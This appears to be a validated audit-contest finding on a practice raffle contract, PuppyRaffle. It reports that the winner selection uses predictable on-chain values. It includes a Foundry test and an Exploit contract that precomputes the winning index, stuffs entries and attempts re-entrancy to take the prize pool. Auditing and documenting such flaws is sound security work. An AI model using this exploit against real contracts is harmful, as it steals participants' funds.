Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Loss of funds: Attacker can compute deterministic winner

Summary

The winnerIndex is deterministic.

An attacker can pre-compute this value then stuff the entries to the raffle such that calling selectWinner() results in the attacker always winning the prizePool.

Vulnerability Details

enterRaffle stories raffle entries in an array.

The winnerIndex calculation is deterministic i.e. no source of randomness is used.

The following inputs to the computation can be known or controlled by the attacker:

  • msg.sender (the attacker's address)

  • block.timestamp

  • block.difficulty (deprecated and is equivalent to block.prevrandao)

  • players.length (controlled by stuffing entries)

The selectWinner() function can be called by anyone willing to pay the gas.

Impact

Loss of funds: An attacker can guarantee they always win the prizePool thus unfairly obtaining funds without risking anything.

The attacker can flashloan funds to stuff the entry pool in the same block that he calls selectWinner()

Tools Used

  • Foundry

Recommendations

  • selectWinner() should be callable only by a keeper who provides a secure randomness oracle for the computation of the winner.

  • A randomness oracle can be used as an input to the winnerIndex computation.


Proof of Concept for deterministic selectWinner winnerIndex computation

Actors:

  • Attacker: The attacker pre-computes the winning index then stuffs the raffle with entries to ensure PuppyRaffle computes the desired winnerIndex.

  • Victim: Participants in the raffle pay an entry fee to add their addresses to the raffle.

  • Protocol: PuppyRaffle contract's collects entry fees and 80% of the totalAmountCollected is paid to the winner.

Working Test Case:

This test-case should be added to the PuppyRaffleTest.t.sol::PuppyRaffle contract.
The Exploit contract should be added to the PuppyRaffleTest.t.sol file.

The expected result is that address(exploit).balance == prizePool. This can be seen by running:

forge test --match-test testReentrancyOnSelectWinner -vvvv
function testReentrancyOnSelectWinner() public playersEntered {
// Fast-forward to the end of the raffle.
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
uint256 attacker = 0xcafebabe; // The first dummy address I'll use to stuff the raffle entries.
uint256 winner;
// Add the exploit contract to the raffle.
Exploit exploit = new Exploit(address(puppyRaffle));
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(exploit);
puppyRaffle.enterRaffle{value: entranceFee * 1}(newPlayers);
uint256 exploitIndex = puppyRaffle.getActivePlayerIndex(newPlayers[0]);
console.log('address(exploit): ', address(exploit));
console.log('exploitIndex: ', exploitIndex);
console.log('block.timestamp: ', block.timestamp);
console.log('block.difficulty: ', block.difficulty);
// Pre-compute a winnerIndex
uint256 i = 0;
while(i >= 0) {
// Assumption: for any block.timestamp and block.difficulty, I can compute a winnerIndex.
// I can then search for an addresses until I get the desired index.
// address potentialWinner = address(attacker + i);
uint256 _index = uint256(keccak256(abi.encodePacked(
address(exploit),
block.timestamp,
block.difficulty))) % (exploitIndex + 1 + i);
console.log('_index: ', _index);
if (_index == exploitIndex) {
console.log('Winner index found, we need to add:' , i, ' addresses.');
break;
}
if (i >= 20) break;
i += 1;
}
// Stuff the raffle entries so that the winnerIndex selected is the exploit contract.
newPlayers = new address[](i);
i--;
while(i > 0) {
newPlayers[i] = address(attacker + i);
i--;
}
console.log('Adding newPlayers: ', newPlayers[0], '...', newPlayers[newPlayers.length -1]);
// @todo Take a flashloan to pay the entry fee.
puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length}(newPlayers);
uint256 maxIndex = puppyRaffle.getActivePlayerIndex(newPlayers[newPlayers.length - 1]);
exploit.selectWinner(maxIndex);
console.log('maxIndex: ', maxIndex);
// puppyRaffle.selectWinner();
console.log('Total fees in the raffle were: ', maxIndex * puppyRaffle.entranceFee());
console.log('Exploit obtained: ', address(exploit).balance);
// @todo Repay the flashloan.
}
}
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Exploit is IERC721Receiver {
uint256 maxIndex;
PuppyRaffle puppyRaffle;
constructor(address _victim) {
puppyRaffle = PuppyRaffle(_victim);
}
// https://docs.soliditylang.org/en/latest/types.html#members-of-addresses
receive() external payable {
require(msg.sender == address(puppyRaffle));
// @findout Can I call selectWinner again to steal fees accumulated in puppyRaffle.balance.
// @test Assumption: if(puppyRaffle.balance > prizePool) then I can withdraw prizePool using re-entrancy.
uint256 totalAmountCollected = (maxIndex + 1) * puppyRaffle.entranceFee();
if(address(puppyRaffle).balance >= totalAmountCollected) {
if(puppyRaffle.raffleStartTime() < block.timestamp) {
puppyRaffle.selectWinner();
}
}
}
function selectWinner(uint256 _maxIndex) external {
maxIndex = _maxIndex;
// Steal the prizePool at least once.
puppyRaffle.selectWinner();
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) {
return this.onERC721Received.selector;
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.